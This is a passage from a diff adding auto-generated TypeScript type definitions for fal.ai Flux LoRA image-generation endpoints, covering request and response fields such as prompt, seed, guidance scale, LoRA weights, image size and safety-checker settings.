@minimum 0 + * @maximum 35 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The number of images to generate. This is always set to 1 for streaming output. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'none' + * @type string | undefined + */ + acceleration?: InputFalAiFluxKreaLoraInpaintingAccelerationEnumKey + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFluxKreaLoraInpaintingOutputFormatEnumKey + /** + * @description URL of image to use for inpainting. or img2img + * @example https://storage.googleapis.com/falserverless/example_inputs/dog.png + * @type string + */ + image_url: string + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The size of the generated image. + */ + image_size?: ImageSizeFf799397 | InputFalAiFluxKreaLoraInpaintingImageSizeKey + /** + * @description The prompt to generate an image from. + * @example A photo of a lion sitting on a stone bench + * @type string + */ + prompt: string + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description + * The mask to area to Inpaint in. + * + * @example https://storage.googleapis.com/falserverless/example_inputs/dog_mask.png + * @type string + */ + mask_url: string +} + +export type Image52A4F2F8 = { + /** + * @default image/jpeg + */ + content_type?: string | null + height: number + url: string + width: number +} + +export type OutputFalAiFluxKreaLoraInpainting = { + timings: { + [key: string]: number + } + /** + * @description The generated image files info. + * @type array + */ + images: Image52A4F2F8[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number +} + +export type ImageSize47Ad7864 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export type LoraWeight511Ddee6 = { + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number +} + +export const inputFalAiFluxKreaLoraStreamImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFluxKreaLoraStreamImageSizeKey = + (typeof inputFalAiFluxKreaLoraStreamImageSize)[keyof typeof inputFalAiFluxKreaLoraStreamImageSize] + +export const inputFalAiFluxKreaLoraStreamOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxKreaLoraStreamOutputFormatEnumKey = + (typeof inputFalAiFluxKreaLoraStreamOutputFormatEnum)[keyof typeof inputFalAiFluxKreaLoraStreamOutputFormatEnum] + +export const inputFalAiFluxKreaLoraStreamAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiFluxKreaLoraStreamAccelerationEnumKey = + (typeof inputFalAiFluxKreaLoraStreamAccelerationEnum)[keyof typeof inputFalAiFluxKreaLoraStreamAccelerationEnum] + +export type InputFalAiFluxKreaLoraStream = { + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: ImageSize47Ad7864 | InputFalAiFluxKreaLoraStreamImageSizeKey + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The prompt to generate an image from. + * @example Extreme close-up of a single tiger eye, direct frontal view. Detailed iris and pupil. Sharp focus on eye texture and color. Natural lighting to capture authentic eye shine and depth. The word "FLUX" is painted over it in big, white brush strokes with visible texture. + * @type string + */ + prompt: string + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 35 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description + * The LoRAs to use for the image generation. You can use any number of LoRAs + * and they will be merged together to generate the final image. + * + * @default [] + * @type array | undefined + */ + loras?: LoraWeight511Ddee6[] + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFluxKreaLoraStreamOutputFormatEnumKey + /** + * @description The number of images to generate. This is always set to 1 for streaming output. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'none' + * @type string | undefined + */ + acceleration?: InputFalAiFluxKreaLoraStreamAccelerationEnumKey +} + +export type Image824463F7 = { + /** + * @default image/jpeg + */ + content_type?: string | null + height: number + url: string + width: number +} + +export type OutputFalAiFluxKreaLoraStream = { + timings: { + [key: string]: number + } + /** + * @description The generated image files info. + * @type array + */ + images: Image824463F7[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number +} + +export type ImageSize43666413 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export type LoraWeight329D5Eb9 = { + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string +} + +export const inputFalAiFluxLoraAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiFluxLoraAccelerationEnumKey = + (typeof inputFalAiFluxLoraAccelerationEnum)[keyof typeof inputFalAiFluxLoraAccelerationEnum] + +export const inputFalAiFluxLoraOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxLoraOutputFormatEnumKey = + (typeof inputFalAiFluxLoraOutputFormatEnum)[keyof typeof inputFalAiFluxLoraOutputFormatEnum] + +export const inputFalAiFluxLoraImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFluxLoraImageSizeKey = + (typeof inputFalAiFluxLoraImageSize)[keyof typeof inputFalAiFluxLoraImageSize] + +export type InputFalAiFluxLora = { + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'none' + * @type string | undefined + */ + acceleration?: InputFalAiFluxLoraAccelerationEnumKey + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFluxLoraOutputFormatEnumKey + /** + * @description The number of images to generate. This is always set to 1 for streaming output. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: ImageSize43666413 | InputFalAiFluxLoraImageSizeKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description + * The LoRAs to use for the image generation. You can use any number of LoRAs + * and they will be merged together to generate the final image. + * + * @default [] + * @type array | undefined + */ + loras?: LoraWeight329D5Eb9[] + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 35 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The prompt to generate an image from. + * @example Extreme close-up of a single tiger eye, direct frontal view. Detailed iris and pupil. Sharp focus on eye texture and color. Natural lighting to capture authentic eye shine and depth. The word "FLUX" is painted over it in big, white brush strokes with visible texture. + * @type string + */ + prompt: string +} + +export type Image31E39880 = { + /** + * @default image/jpeg + */ + content_type?: string | null + height: number + width: number + url: string +} + +export type OutputFalAiFluxLora = { + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated image files info. + * @type array + */ + images: Image31E39880[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type LoraWeight1Bb54841 = { + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number +} + +export type ImageSize9Bb93087 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFluxLoraCannyImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFluxLoraCannyImageSizeKey = + (typeof inputFalAiFluxLoraCannyImageSize)[keyof typeof inputFalAiFluxLoraCannyImageSize] + +export const inputFalAiFluxLoraCannyOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxLoraCannyOutputFormatEnumKey = + (typeof inputFalAiFluxLoraCannyOutputFormatEnum)[keyof typeof inputFalAiFluxLoraCannyOutputFormatEnum] + +export const inputFalAiFluxLoraCannyAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiFluxLoraCannyAccelerationEnumKey = + (typeof inputFalAiFluxLoraCannyAccelerationEnum)[keyof typeof inputFalAiFluxLoraCannyAccelerationEnum] + +export type InputFalAiFluxLoraCanny = { + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description + * The LoRAs to use for the image generation. You can use any number of LoRAs + * and they will be merged together to generate the final image. + * + * @default [] + * @type array | undefined + */ + loras?: LoraWeight1Bb54841[] + /** + * @description The prompt to generate an image from. + * @example A blue owl. + * @type string + */ + prompt: string + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 35 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description URL of image to use for canny input + * @example https://storage.googleapis.com/falserverless/example_inputs/dog.png + * @type string + */ + image_url: string + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The size of the generated image. + */ + image_size?: ImageSize9Bb93087 | InputFalAiFluxLoraCannyImageSizeKey + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFluxLoraCannyOutputFormatEnumKey + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'none' + * @type string | undefined + */ + acceleration?: InputFalAiFluxLoraCannyAccelerationEnumKey + /** + * @description The number of images to generate. This is always set to 1 for streaming output. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number +} + +export type Image58275D6A = { + height: number + width: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string +} + +export type OutputFalAiFluxLoraCanny = { + timings: { + [key: string]: number + } + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated image files info. + * @type array + */ + images: Image58275D6A[] + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number +} + +export type ImageSize9F28D913 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export type LoraWeightC4B23529 = { + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number +} + +export const inputFalAiFluxLoraDepthImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFluxLoraDepthImageSizeKey = + (typeof inputFalAiFluxLoraDepthImageSize)[keyof typeof inputFalAiFluxLoraDepthImageSize] + +export const inputFalAiFluxLoraDepthOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxLoraDepthOutputFormatEnumKey = + (typeof inputFalAiFluxLoraDepthOutputFormatEnum)[keyof typeof inputFalAiFluxLoraDepthOutputFormatEnum] + +export const inputFalAiFluxLoraDepthAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiFluxLoraDepthAccelerationEnumKey = + (typeof inputFalAiFluxLoraDepthAccelerationEnum)[keyof typeof inputFalAiFluxLoraDepthAccelerationEnum] + +export type InputFalAiFluxLoraDepth = { + /** + * @description URL of image to use for depth input + * @example https://fal.media/files/penguin/vt-SeIOweN7_oYBsvGO6t.png + * @type string + */ + image_url: string + /** + * @description The size of the generated image. + */ + image_size?: ImageSize9F28D913 | InputFalAiFluxLoraDepthImageSizeKey + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFluxLoraDepthOutputFormatEnumKey + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 35 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'none' + * @type string | undefined + */ + acceleration?: InputFalAiFluxLoraDepthAccelerationEnumKey + /** + * @description The number of images to generate. This is always set to 1 for streaming output. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The prompt to generate an image from. + * @example Black hole in space, orange accretion disc + * @type string + */ + prompt: string + /** + * @description + * The LoRAs to use for the image generation. You can use any number of LoRAs + * and they will be merged together to generate the final image. + * + * @default [] + * @type array | undefined + */ + loras?: LoraWeightC4B23529[] +} + +export type Image31631Eb2 = { + width: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + height: number +} + +export type OutputFalAiFluxLoraDepth = { + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + timings: { + [key: string]: number + } + /** + * @description The generated image files info. + * @type array + */ + images: Image31631Eb2[] +} + +export type ImageFillInputB81167A7 = { + /** + * @description Whether to use the prompt as well in the generation, along with the redux image. + * @default false + * @type boolean | undefined + */ + use_prompt?: boolean + /** + * @description Uses the provided fill image in context with the base image to fill in more faithfully. Will increase price. + * @default false + * @type boolean | undefined + */ + in_context_fill?: boolean + /** + * @description URLs of images to be filled into the masked area. + */ + fill_image_url?: string[] | string | null +} + +export type LoraWeightC5659357 = { + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string +} + +export type ImageSize4C5F09E9 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFluxLoraFillAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiFluxLoraFillAccelerationEnumKey = + (typeof inputFalAiFluxLoraFillAccelerationEnum)[keyof typeof inputFalAiFluxLoraFillAccelerationEnum] + +export const inputFalAiFluxLoraFillOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxLoraFillOutputFormatEnumKey = + (typeof inputFalAiFluxLoraFillOutputFormatEnum)[keyof typeof inputFalAiFluxLoraFillOutputFormatEnum] + +export const inputFalAiFluxLoraFillImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFluxLoraFillImageSizeKey = + (typeof inputFalAiFluxLoraFillImageSize)[keyof typeof inputFalAiFluxLoraFillImageSize] + +export type InputFalAiFluxLoraFill = { + /** + * @description Use an image fill input to fill in particular images into the masked area. + */ + fill_image?: ImageFillInputB81167A7 | null + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Specifies whether to paste-back the original image onto to the non-inpainted areas of the output + * @default true + * @type boolean | undefined + */ + paste_back?: boolean + /** + * @description The prompt to generate an image from. + * @default '' + * @example A knight in shining armour holding a greatshield with 'FAL' on it + * @type string | undefined + */ + prompt?: string + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'none' + * @type string | undefined + */ + acceleration?: InputFalAiFluxLoraFillAccelerationEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The number of images to generate. This is always set to 1 for streaming output. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description URL of image to use for fill operation + * @example https://storage.googleapis.com/falserverless/flux-lora/example-images/knight.jpeg + * @type string + */ + image_url: string + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFluxLoraFillOutputFormatEnumKey + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 28 + * @maximum 35 + * @default 30 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Resizes the image back to the original size. Use when you wish to preserve the exact image size as the originally provided image. + * @default false + * @type boolean | undefined + */ + resize_to_original?: boolean + /** + * @description + * The mask to area to Inpaint in. + * + * @example https://storage.googleapis.com/falserverless/flux-lora/example-images/mask_knight.jpeg + * @type string + */ + mask_url: string + /** + * @description + * The LoRAs to use for the image generation. You can use any number of LoRAs + * and they will be merged together to generate the final image. + * + * @default [] + * @type array | undefined + */ + loras?: LoraWeightC5659357[] + /** + * @description The size of the generated image. + */ + image_size?: ImageSize4C5F09E9 | InputFalAiFluxLoraFillImageSizeKey +} + +export type ImageAd9F4F08 = { + height: number + width: number + url: string + /** + * @default image/jpeg + */ + content_type?: string | null +} + +export type OutputFalAiFluxLoraFill = { + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated image files info. + * @type array + */ + images: ImageAd9F4F08[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + timings: { + [key: string]: number + } +} + +export type ImageSizeFd2Da897 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export type LoraWeightAc687251 = { + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string +} + +export const inputFalAiFluxLoraImageToImageAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiFluxLoraImageToImageAccelerationEnumKey = + (typeof inputFalAiFluxLoraImageToImageAccelerationEnum)[keyof typeof inputFalAiFluxLoraImageToImageAccelerationEnum] + +export const inputFalAiFluxLoraImageToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFluxLoraImageToImageImageSizeKey = + (typeof inputFalAiFluxLoraImageToImageImageSize)[keyof typeof inputFalAiFluxLoraImageToImageImageSize] + +export const inputFalAiFluxLoraImageToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxLoraImageToImageOutputFormatEnumKey = + (typeof inputFalAiFluxLoraImageToImageOutputFormatEnum)[keyof typeof inputFalAiFluxLoraImageToImageOutputFormatEnum] + +export type InputFalAiFluxLoraImageToImage = { + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'none' + * @type string | undefined + */ + acceleration?: InputFalAiFluxLoraImageToImageAccelerationEnumKey + /** + * @description URL of image to use for inpainting. or img2img + * @example https://storage.googleapis.com/falserverless/example_inputs/dog.png + * @type string + */ + image_url: string + /** + * @description The number of images to generate. This is always set to 1 for streaming output. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The size of the generated image. + */ + image_size?: ImageSizeFd2Da897 | InputFalAiFluxLoraImageToImageImageSizeKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description + * The LoRAs to use for the image generation. You can use any number of LoRAs + * and they will be merged together to generate the final image. + * + * @default [] + * @type array | undefined + */ + loras?: LoraWeightAc687251[] + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFluxLoraImageToImageOutputFormatEnumKey + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 35 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The prompt to generate an image from. + * @example A photo of a lion sitting on a stone bench + * @type string + */ + prompt: string + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The strength to use for inpainting/image-to-image. Only used if the image_url is provided. 1.0 is completely remakes the image while 0.0 preserves the original. + * @minimum 0.01 + * @maximum 1 + * @default 0.85 + * @type number | undefined + */ + strength?: number +} + +export type Image428A18Aa = { + /** + * @default image/jpeg + */ + content_type?: string | null + height: number + width: number + url: string +} + +export type OutputFalAiFluxLoraImageToImage = { + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated image files info. + * @type array + */ + images: Image428A18Aa[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSize866A6C7D = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export type LoraWeightB1B24F4B = { + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string +} + +export const inputFalAiFluxLoraInpaintingAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiFluxLoraInpaintingAccelerationEnumKey = + (typeof inputFalAiFluxLoraInpaintingAccelerationEnum)[keyof typeof inputFalAiFluxLoraInpaintingAccelerationEnum] + +export const inputFalAiFluxLoraInpaintingImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFluxLoraInpaintingImageSizeKey = + (typeof inputFalAiFluxLoraInpaintingImageSize)[keyof typeof inputFalAiFluxLoraInpaintingImageSize] + +export const inputFalAiFluxLoraInpaintingOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxLoraInpaintingOutputFormatEnumKey = + (typeof inputFalAiFluxLoraInpaintingOutputFormatEnum)[keyof typeof inputFalAiFluxLoraInpaintingOutputFormatEnum] + +export type InputFalAiFluxLoraInpainting = { + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'none' + * @type string | undefined + */ + acceleration?: InputFalAiFluxLoraInpaintingAccelerationEnumKey + /** + * @description + * The mask to area to Inpaint in. + * + * @example https://storage.googleapis.com/falserverless/example_inputs/dog_mask.png + * @type string + */ + mask_url: string + /** + * @description URL of image to use for inpainting. or img2img + * @example https://storage.googleapis.com/falserverless/example_inputs/dog.png + * @type string + */ + image_url: string + /** + * @description The number of images to generate. This is always set to 1 for streaming output. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The size of the generated image. + */ + image_size?: ImageSize866A6C7D | InputFalAiFluxLoraInpaintingImageSizeKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description + * The LoRAs to use for the image generation. You can use any number of LoRAs + * and they will be merged together to generate the final image. + * + * @default [] + * @type array | undefined + */ + loras?: LoraWeightB1B24F4B[] + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFluxLoraInpaintingOutputFormatEnumKey + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 35 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The prompt to generate an image from. + * @example A photo of a lion sitting on a stone bench + * @type string + */ + prompt: string + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The strength to use for inpainting/image-to-image. Only used if the image_url is provided. 1.0 is completely remakes 